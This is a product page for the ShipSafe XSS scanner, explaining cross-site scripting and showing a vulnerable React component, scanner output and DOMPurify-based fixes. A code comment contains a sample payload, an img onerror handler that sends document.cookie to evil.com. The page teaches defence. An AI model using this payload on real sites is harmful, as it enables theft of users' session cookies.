Cross-Site Scripting (XSS) Detection — ShipSafe

ShipSafe ships 143 XSS rules covering React, Vue, Angular, Express, and six server-side template engines. It understands framework-specific escape contexts — so it knows React auto-escapes JSX text but not dangerouslySetInnerHTML, and that Vue's v-html bypasses its template compiler's built-in escaping.

143 detection rulesLocal-only scanning

What is XSS?

Cross-Site Scripting (XSS) occurs when an application includes untrusted data in web pages without proper validation or escaping. Attackers can execute malicious scripts in victims' browsers, stealing cookies, session tokens, or redirecting users to malicious sites. XSS is one of the most prevalent web vulnerabilities.

Why It Matters

XSS is deceptively dangerous because it runs in the user's browser with the full authority of your application. An attacker can steal session cookies (bypassing httpOnly with creative payloads), redirect users to phishing pages, modify the rendered page to capture credentials, or use the compromised session to perform actions as the victim. In modern single-page applications, XSS can give persistent access to the entire client-side state, including auth tokens stored in memory.

What ShipSafe Detects

Example: Vulnerable Code

Vulnerable React component with XSS via dangerouslySetInnerHTML

// Vulnerable: user input in dangerouslySetInnerHTML
function Comment({ content }: { content: string }) {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: content }}
    />
  );
}

// An attacker submits as their comment:
// <img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">
// Every user who views this comment has their cookies stolen.

ShipSafe Catches It

$ shipsafe scan

  CRITICAL  xss/dangerous-set-inner-html
  src/components/Comment.tsx:4
  dangerouslySetInnerHTML used with unsanitized content prop.
  Fix: Sanitize HTML with DOMPurify before rendering — DOMPurify.sanitize(content)

What to Do Instead

Safe alternatives: DOMPurify sanitization or avoiding raw HTML entirely

// SAFE: sanitize HTML before rendering
import DOMPurify from "dompurify";

function Comment({ content }: { content: string }) {
  return (
    <div
      dangerouslySetInnerHTML={{
        __html: DOMPurify.sanitize(content, {
          ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
          ALLOWED_ATTR: ["href"],
        }),
      }}
    />
  );
}

// EVEN SAFER: avoid dangerouslySetInnerHTML entirely
// Parse markdown to React elements with react-markdown
import ReactMarkdown from "react-markdown";

function Comment({ content }: { content: string }) {
  return <ReactMarkdown>{content}</ReactMarkdown>;
}

Frequently Asked Questions

Does ShipSafe detect XSS in React?

Yes. React auto-escapes JSX text content, but dangerouslySetInnerHTML bypasses this protection. ShipSafe has specific rules for dangerouslySetInnerHTML with unsanitized props, href='javascript:' URLs in JSX, and user-controlled React ref assignments.

Does ShipSafe detect DOM-based XSS?

Yes. ShipSafe detects innerHTML, outerHTML, document.write, and eval when they contain user-controlled data from sources like location.hash, location.search, document.referrer, and window.name.

Does ShipSafe detect missing Content-Security-Policy?

Yes. ShipSafe flags Express and Next.js apps that serve HTML responses without a Content-Security-Policy header. CSP is a critical defense-in-depth measure that limits the damage of any XSS that bypasses other protections.

What about server-side template injection?

ShipSafe detects unescaped output in Handlebars ({{{triple braces}}}), EJS (<%- minus tag %>), Pug (!{exclamation syntax}), and Nunjucks (safe filter). These are common in Express apps and are frequently missed by React-focused developers.

Detect XSS in Your Code

Install ShipSafe and scan your project in under 60 seconds.

npm install -g @shipsafe/cli

Related Security Categories